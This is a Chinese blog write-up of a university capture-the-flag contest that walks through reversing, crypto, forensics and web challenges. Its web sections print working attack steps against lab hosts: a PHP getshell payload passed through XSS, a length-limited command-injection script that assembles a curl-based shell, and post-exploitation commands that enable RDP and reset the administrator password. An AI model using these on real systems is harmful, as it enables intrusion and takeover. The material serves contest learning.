BetaMao

第一届ZGSCTF-WP

字数统计: 3.5k阅读时长: 15 min
2017/05/08 Share

哈哈,第一届自己系的ctf,记录下writeup、、、以示纪念?、、、、

练习部分

RE

这是一道送分题

Linux x64程序,但直接查找字符串即可

你可熟悉了~

先运行查看字符串,再直接搜索找到关键位置为415758H,进入找到函数入口地址-4156E0H(win7以上关掉ASLR方便点):


用ida打开找到这里:

将密文反着算就出来了。

Easy-reverse

直接扔ida,找到main函数,f5反编译:

TLSCRACKME

看标题是TLS反调试,正常运行与扔od运行结果不一样,应该是了,还是扔ida,切换到导出界面,看到有两个TLS回调函数:

进入第一个,反编译:

进入反调试的函数,Ida反编译存在一点问题,用od直接打开运行会更加清楚,看到这里是调用NtQueryInformationProcess函数,使用ProcessDebugPort(0x7)和ProcessDebugObjectHandle(0x1E)这两个参数判断是否处于调试状态,运行到这里,讲第三个参数指向的地址改为0就好了


继续打开第二个回调函数:



由于在win7上调试的,先将程序的ASLR功能去掉:

再使用od,调试设置改为中断在系统处,也可以先直接运行,再在之前遇到的这三个含反调试的地方下断点,再次运行,后在第三个判断出更改标志寄存器中Z标志值使之跳转到弹出flag那个函数再运行。

简单算法

扔ida反编译:

有了密文和key,直接解密得到明文。

CRYPT

RSA4

看到那么多n,直接想到用公约数来分解,用python或者java写个循环,分别求gcd,就可以发现有个n是可以分解,分解之后怎么做大佬们自己写吧。。

RSA5

看到n那么大,e又那么小,根据这个或者大佬们直接翻书低加密指数攻击,对密文开三次方根,直接就出来答案了。。

正式部分

WEB

Web 个人博客

提示源码泄露,搜了下http://www.lijiejie.com/githack-a-git-disclosure-exploit/ 下载工具,拿到源码,里面有flag

Web+Penetration 安全系博客(三)

根据web题的IP,扫描10.21.13.1/24网段发现几台电脑存在ms17010漏洞,且10.21.13.225上运行着安全系的博客,直接攻击,到桌面发现flag.txt。。
方法二:官方
发现存在登陆界面,虽然验证码比较复杂,但是存在伪验证码漏洞以及sql注入漏洞,可以直接进行弱口令爆破或者sql注入。

登陆后发现admin权限比较低,不过orleven权限较高,修改密码处可以越权。(sql注入可以忽略这步,直接orleven登陆)
在修改语言处发现可以getshell

连上菜刀

在桌面发现flag

发现windows是administrator权限

直接开启3389 :

1
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

修改admin密码 :

1
net user administrator 密码  (必须8位以上,不然会失败)

远程连接即可

信息安全系博客(四)-官方

ipconfig后看到内网ip 192.168.71.225

进行nmap内网扫描,可以发现主机192.168.71.129

端口扫描后发现21,22,7001等端口开着。

进入21端口,可以看到提示,说这台服务器密码大都相同(可进行弱口令爆破)。

进入7001端口,发现是weblogic web服务器 (存在weblogic反序列话漏洞)

扫描路径后存在admin目录,发现是Struts2 框架 (存在struts2-045漏洞)

扫描路径后存在console目录,是weblogic 管理解密(可进行弱口令爆破)

因为flag在数据库中,数据库的密码又是加密过的,所以有2个思路:

1:由于存在脏牛漏洞,可进行提权,然后修改mysql密码,登陆mysql查看flag

2:下载weblogic的相关文件SerializedSystemIni.dat 、boot.properties、以及数据库配置文件,进行解密



登陆数据库,找到flag

真百度

查看网页源码,发现有个image.php的url,发现这个url主要是把读取的页面重新写入到另一个文件中。
还发现网站存在xss漏洞,不过过滤了<? 符号,由于是php5所以可以采用

1
2
3
<script language="pHp">

</script>

来getshell。

因此,可以getshell:

http://10.21.13.221:8001/f284aa25d6cb72a5cfccb2810b629e14/image.php?file=http%3A%2f%2f10.21.13.221%3A8001%2ff284aa25d6cb72a5cfccb2810b629e14%2findex.php%3Fwd%3D%253CScript%2520language%253D%2522pHp%2522%253Eprint_r%2528glob%2528%2522..%252f%252a%2522%2529%2529%253B%253C%252fscript%253E&path=orleven.php

得到flag

ZJGSCTF{Geeeeet_5Ge11_By_Xss!!}

Web Echo Server

cat *读源码:

1
2
3
4
5
6
7
if (strlen(str_replace("{path}", "", $str)) <= 8) {

$str = str_replace("{path}", "1/", $str);

$str = shell_exec($str);

}

看到输入在被替换后长度不能大于8,会被执行,就是壮壮偷的那个,查看权限发现web根目录无写权限,后来才看到1/目录有写权限,但是不能手写,会被删除,修改网上的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/python
# -*- coding: utf-8 -*-

import requests

if __name__ == "__main__":
url = "http://10.21.13.101:61235/?str="
fileNames = ["cn", "ami.\\\\","\ 0k\\\\", "curl\\\\"]
for fileName in fileNames:
createFileUrl = url + ">{path}" + fileName
print createFileUrl
requests.get(createFileUrl)

getShUrl = url + "ls -t {path}"
print getShUrl
r = requests.get(getShUrl)
getShUrl+=">{path}1"
print getShUrl
requests.get(getShUrl)
getShellUrl = url + "bash {path}1"
print getShellUrl
resp = requests.get(getShellUrl)
print resp.text

MISC

签到

关注微信发送flag

伪签到

和俯卧撑那道题一样,通过修改文件十六进制下的高度来看被隐藏的内容,偏移量为0016h

Misc神秘文件1001

识别文件类型是压缩文件,多次解压发现为不同的压缩方式,且每次解压出的文件名递减,直接使用好压解压

1
2
3
4
import os

for i in range(1001,0,-1):
os.system('haozipc x '+str(i))

得到flag,像是base64,再次解码到不能解码,得到ASCII直接转换为字母。

流量包-官方

分析 wireshark ,可以发现里面比较奇怪的是http包。
过滤掉不是200的包:http.response.code==200 之后,发现一个rar数据的包。

得到加密的rar包,这个包被加密了,只能找密码了。
又发现了seCrEt.txt

根据GET的url内容得知是rot13加密。
seCrEt.txt rot13处理一下就是 Th15iSR@rPa55W0rd
rar 密码 Th15iSR@rPa55W0rd
解密获取flag文件ZT@swkJF1__3G{yfpTSASLa!Cn10C}
栅栏密码解密:ZJGSCTF{An@1yS1s_fL0w_paCk3T!}

rar?zip?


zip先想到伪加密,然后改掉标志位之后解压出来看到文件名是qrcode,知道是二维码,然后打开一看,000 255255255,rgb,上脚本吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import base64
import os

outpath = 'C:\Users\zgy.zgy-PC\Desktop\flag.png'
def getdebase64(filepath):
if os.path.isfile(filepath):
file_txt = open(filepath, 'rb').read()
f1 = open(outpath, 'wb')
dw=base64.decodestring(file_txt)
f1.write(dw)
f1.close()
print '图片解码完成'
else:
file_txt = filepath
m = base64.decodestring(file_txt)
print 'base64解码完成:', m

if __name__ == '__main__':
s = raw_input('input file path or a string:')
getdebase64(s)
raw_input('press <Enter> to exit....')

是一个二维码

黑阔到底偷走了啥-官方

看出可疑的ip进行了目录扫描以及sql注入,根据sql注入的信息.

分析根据sqlmap注入的UA,排除掉目录扫描的日志.

进行urldecode 解码

分析后发现攻击者对search.php?key=aaa以及index.php?id=2进行了注入,

其中id注入成功,排除多余的日志

可以看出攻击者得到的信息有

table_schema=0x7a6a706d

table_name=0x7a6a706d

zjpm.article 表里的如下列

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
desc

key

time

anthor

classid

commentid

content

id

num

status

title

搜索id和key获取信息,可以判断被攻击者拿到的数据有6条,

主要利用的sql语句

1
select MID((SELECT IFNULL(CAST(`key` AS CHAR),0x20) FROM zjpm.article ORDER BY id LIMIT 0,1),1,1)

第四条有关的语句:

1
2
3
4
5
MID((SELECT IFNULL(CAST(`key` AS CHAR),0x20) FROM zjpm.article ORDER BY id LIMIT 3,1),0,1)

……

MID((SELECT IFNULL(CAST(`key` AS CHAR),0x20) FROM zjpm.article ORDER BY id LIMIT 3,1),32,1)

flag的ascii码为:

87,107,112,72,85,48,78,85,82,110,116,66,98,107,65,120,101,86,78,74,99,49,57,104,81,50,77,120,77,71,100,57

base64解密后可以得到flag

ZJGSCTF{An@1ySIs_aCc10g}

一张白纸-官方

Docx文件其实是个zip压缩包。

改成zip后缀,查看目录下的 document.xml

发现隐藏的 宽度

根据 w:val的值分为0与1

1
2
3
4
5
6
7
8
9
10
11
1001100 01001010 01000110 01000101 01001111 01010101 00110010 01000100

01001011 01010010 01000100 01001000 01010111 01010110 01011010 01010001

01001111 01001001 01011001 01010101 01001001 01011000 01011010 01010110

01001011 01010001 01011010 01010111 01001111 01010001 01000100 01001111

01000111 01000010 01010100 01011000 01000101 01010001 01001100 01010001

01001110 01000010 01001101 01011000 00110010

补上最开头的0:

4c4a46454f5532444b52444857565a514f49595549585a564b515a574f51444f4742545845514c514e424d5832   十六进制

LJFEOU2DKRDHWVZQOIYUIXZVKQZWOQDOGBTXEQLQNBMX2     base32

ZJGSCTF{W0r1D_5T3g@n0grAphY}

RE

Reverse 50

利用complyle2 反编译出源码,根据题目意思猜测密码为”python”,源码中添加result返回,运行脚本Flag:

(这道没做出来,最后发现反编译器的版本不一样,编译出来的代码不一样,以后要仔细读代码啊。。。)

Reverse Reverse3

Exinfo发现upx壳,脱壳后会触发除零异常,在异常处理程序处下断点,查看内存发现是一个迷宫:


读代码可知指针++ – +=8 -=8 即hjkl代表上下左右移动位置,初始为左上角,要走到#处

Reverse Reverse1.5

给提示pwn,放进cffexplorer反汇编,很像shellcode:

将其按16进制读出,放在C里执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include<stdio.h>

int main()

{

char shellcode[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x33\xFF\x57\x66\xC7\x04\x24\x6C\x6C\x68\x33\x32\x2E\x64\x68\x75\x73\x65\x72\x54\xBA\x7B\x1D\x80\x7C\xFF\xD2\x57\x68\x76\x7C\x71\x77\x80\x2C\x24\x10\x80\x6C\x24\x01\x10\x80\x6C\x24\x02\x10\x80\x6C\x24\x03\x10\x8D\x04\x24\x57\x68\x2B\x2B\x2B\x2E\x68\x2B\x2B\x2B\x2B\x68\x2B\x2B\x2B\x2B\x68\x2B\x2B\x2B\x2B\x68\x2B\x2B\x2B\x2B\x68\x2B\x2B\x2B\x2B\x68\x2B\x2B\x2E\x2B\x68\x2B\x2E\x3E\x3E\x68\x2D\x2E\x3E\x2B\x68\x2E\x3C\x3C\x3C\x68\x2D\x2D\x2D\x2D"

"\x68\x2D\x2D\x2D\x2D\x68\x3E\x3E\x3E\x2D\x68\x3C\x2D\x2D\x2E\x68\x2B\x2E\x3C\x3C\x68\x3E\x2B\x2B\x2B\x68\x2B\x2E\x3E\x3E\x68\x3C\x3C\x3C\x2B\x68\x2B\x2B\x2B\x2E\x68\x2B\x2B\x2B\x2B\x68\x2B\x2B\x2B\x2B\x68\x2B\x2B\x2B\x2B\x68\x2B\x2B\x2B\x2B\x68\x2D\x2E\x2B\x2B\x68\x2D\x2D\x2D\x2D\x68\x2D\x2D\x2D\x2D\x68\x2E\x2D\x2D\x2D\x68\x2D\x2D\x2D\x2D\x68\x2D\x2D\x2D\x2D\x68\x2D\x2D\x2E\x2D\x68\x2D\x2D\x2D\x2D\x68\x2D\x2D\x2D\x2D\x68\x2B\x2E\x2D\x2D\x68\x2B\x2B\x2B\x2B\x68"

"\x2B\x2B\x2B\x2B\x68\x2B\x2B\x2B\x2B\x68\x2B\x2B\x2B\x2B\x68\x2B\x2B\x2B\x2B\x68\x2B\x2B\x2B\x2B\x68\x2B\x2B\x2B\x2B\x68\x2E\x3E\x3E\x3E\x68\x2E\x3C\x3C\x3C\x68\x2D\x2D\x2D\x2D\x68\x2D\x2D\x2D\x2D\x68\x2D\x2D\x2D\x2E\x68\x2D\x2D\x2D\x2D\x68\x2D\x2D\x2D\x2D\x68\x2B\x2B\x2E\x2D\x68\x2B\x2B\x2B\x2B\x68\x2D\x2E\x2B\x2B\x68\x2D\x2D\x2D\x2D\x68\x2D\x2D\x2D\x2D\x68\x2D\x2D\x2D\x2D\x68\x2D\x2D\x2D\x2D\x68\x2B\x2B\x2E\x2D\x68\x2B\x2B\x2B\x2B\x68\x3C\x2E\x3E\x2B\x68\x2D\x2D\x2D\x2E\x68\x3E\x3E\x3E\x2D\x68\x2D\x2D\x2D"

"\x2E\x68\x2B\x2B\x2B\x2E\x68\x3C\x3C\x3C\x2B\x68\x2D\x2D\x2D\x2E\x68\x2D\x2D\x2D\x2D\x68\x3E\x3E\x2D\x2D\x68\x3C\x3C\x2D\x2E\x68\x2B\x2B\x2B\x2E\x68\x2B\x2B\x2B\x2B\x68\x2B\x2B\x2B\x2B\x68\x2B\x2B\x2B\x2B\x68\x2B\x2B\x2B\x2B\x68\x2B\x2B\x2B\x2B\x68\x2B\x2B\x2B\x2B\x68\x2B\x2B\x2B\x2B\x68\x2B\x2B\x2B\x2B\x68\x2B\x2B\x2B\x2B\x68\x3C\x2D\x2E\x3E\x68\x3E\x3E\x2B\x2E\x68\x2B\x2B\x2B\x2E\x68\x2D\x2E\x3C\x3C\x68\x2D\x2D\x2D\x2D\x68\x2E\x3E\x2D\x2D\x68\x2E\x2D\x2D\x2D\x68\x2D\x2D\x2D\x2D\x68\x2E"

"\x3C\x2D\x2D\x68\x2D\x2D\x2D\x2D\x68\x3E\x3E\x2D\x2D\x68\x5D\x3E\x3E\x3E\x68\x3C\x3C\x3C\x2D\x68\x2B\x2B\x3C\x3C\x68\x2B\x2B\x2B\x2B\x68\x2B\x2B\x2B\x2B\x68\x2B\x3E\x2B\x2B\x68\x2B\x2B\x2B\x2B\x68\x2B\x2B\x2B\x2B\x68\x2B\x2B\x3E\x2B\x68\x2B\x2B\x2B\x2B\x68\x2B\x3E\x2B\x2B\x68\x2B\x2B\x2B\x2B\x68\x2B\x2B\x3E\x2B\x68\x5B\x3E\x2B\x2B\x68\x2B\x2B\x2B\x2B\x68\x2B\x2B\x2B\x2B\x8D\x1C\x24\x6A\x01\x50\x53\x57\xBA\xEA\x07\xD5\x77\xFF\xD2\xBA\x7E\x9E\xC0\x77\xFF\xD2\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xD8\xFC\x93\x7C\x83\xEC\x60\xFF\xE4";

__asm {

lea eax, shellcode

jmp eax

}

return 0;

}

得到一段奇怪的代码,brainfuck解码

Reverse revser2

加载到ida,找到关键sub_4010F0

发现sub_401005,跟进去到sub_401030

分析,输入的字符串先与0x20,异或,然后与题目中的(字符串-16)比较,解题代码 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <stdio.h>

main () {

int a[]={87,99,83,100,86,107,105,32,101,143,81,98,35,143,99,95,143,83,92,35,102,35,98,143,17,109};

int i;

for(i=0;i<26;i++)

{

a[i] -=16;

a[i]^= 0x20u;

printf("%c",a[i]);

}

printf("\n");

}

Reverse dice

加载到ida

发现关键函数sub_4006B6,

然而进去,并不能看懂,太菜了,但是falg里打印了v10=%d,不知道为什么

分析:题目要求摇骰子,如果摇出2、3、4、1、7,给我们flag.,但是,骰子没有7.所有根本摇不出来。暴力吧,这是Unix程序,用edb打开,找到在比较2、3、4、1、7时候,发现跳转位置,让它不跳转,然而,却修改不了程序。蒙圈中。。。。后来想到可以用16进制打开,修改机器码,74->等于,75->不等于,02就第一个数2,

修改后2改为7,74改为75,这样每次出现的数都不可能等于7,那么一定会跳转。这样修改3、4、1

7有点不一样,直接报75,改为74


,前面发现了falg里打印了v10=%d,然后把v10=13,去掉,成功,flag{0Ib0a8d17dcI67cae0aIIdl}

Crypto

点横点横点

给提示不是morse,猜测是培根,解出

easy rsa

根据题意猜测这个解密系统的脚本可能是把用户发送过去的一串用它自己的私钥解密,但是直接发送题目给的密文是解不出来的,所以想到选择密文攻击。e—公钥 d—密钥 c—密文 m—明文

随便选一句话转化成十六进制(r)

x = r^e mod n (对r用T的公钥加密,得到临时密文x)
y = (x * c) mod n (将临时密文x与密文c相乘)
t = r^(-1) mod n (算出r关于n的乘法逆元)

然后将y发送给系统,返回一串不可见字符(很”友善”的帮你编好码了),所以用wireshake进行抓包,从系统返回的包里取出进行过解密的一串十六进制u

u=y^dmod n=(x^d*c^d)mod n=(r^(e*d)*m)mod n=(r*m)mod n

m=u*t=(r*m*r^-1 )mod n=(m)mod n
CATALOG
  1. 1. 练习部分
    1. 1.1. RE
      1. 1.1.1. 这是一道送分题
      2. 1.1.2. 你可熟悉了~
      3. 1.1.3. Easy-reverse
      4. 1.1.4. TLSCRACKME
      5. 1.1.5. 简单算法
    2. 1.2. CRYPT
      1. 1.2.1. RSA4
      2. 1.2.2. RSA5
  2. 2. 正式部分
    1. 2.1. WEB
      1. 2.1.1. Web 个人博客
      2. 2.1.2. Web+Penetration 安全系博客(三)
      3. 2.1.3. 信息安全系博客(四)-官方
      4. 2.1.4. 真百度
      5. 2.1.5. Web Echo Server
    2. 2.2. MISC
      1. 2.2.1. 签到
      2. 2.2.2. 伪签到
      3. 2.2.3. Misc神秘文件1001
      4. 2.2.4. 流量包-官方
      5. 2.2.5. rar?zip?
      6. 2.2.6. 黑阔到底偷走了啥-官方
      7. 2.2.7. 一张白纸-官方
    3. 2.3. RE
      1. 2.3.1. Reverse 50
      2. 2.3.2. Reverse Reverse3
      3. 2.3.3. Reverse Reverse1.5
      4. 2.3.4. Reverse revser2
      5. 2.3.5. Reverse dice
    4. 2.4. Crypto
      1. 2.4.1. 点横点横点
      2. 2.4.2. easy rsa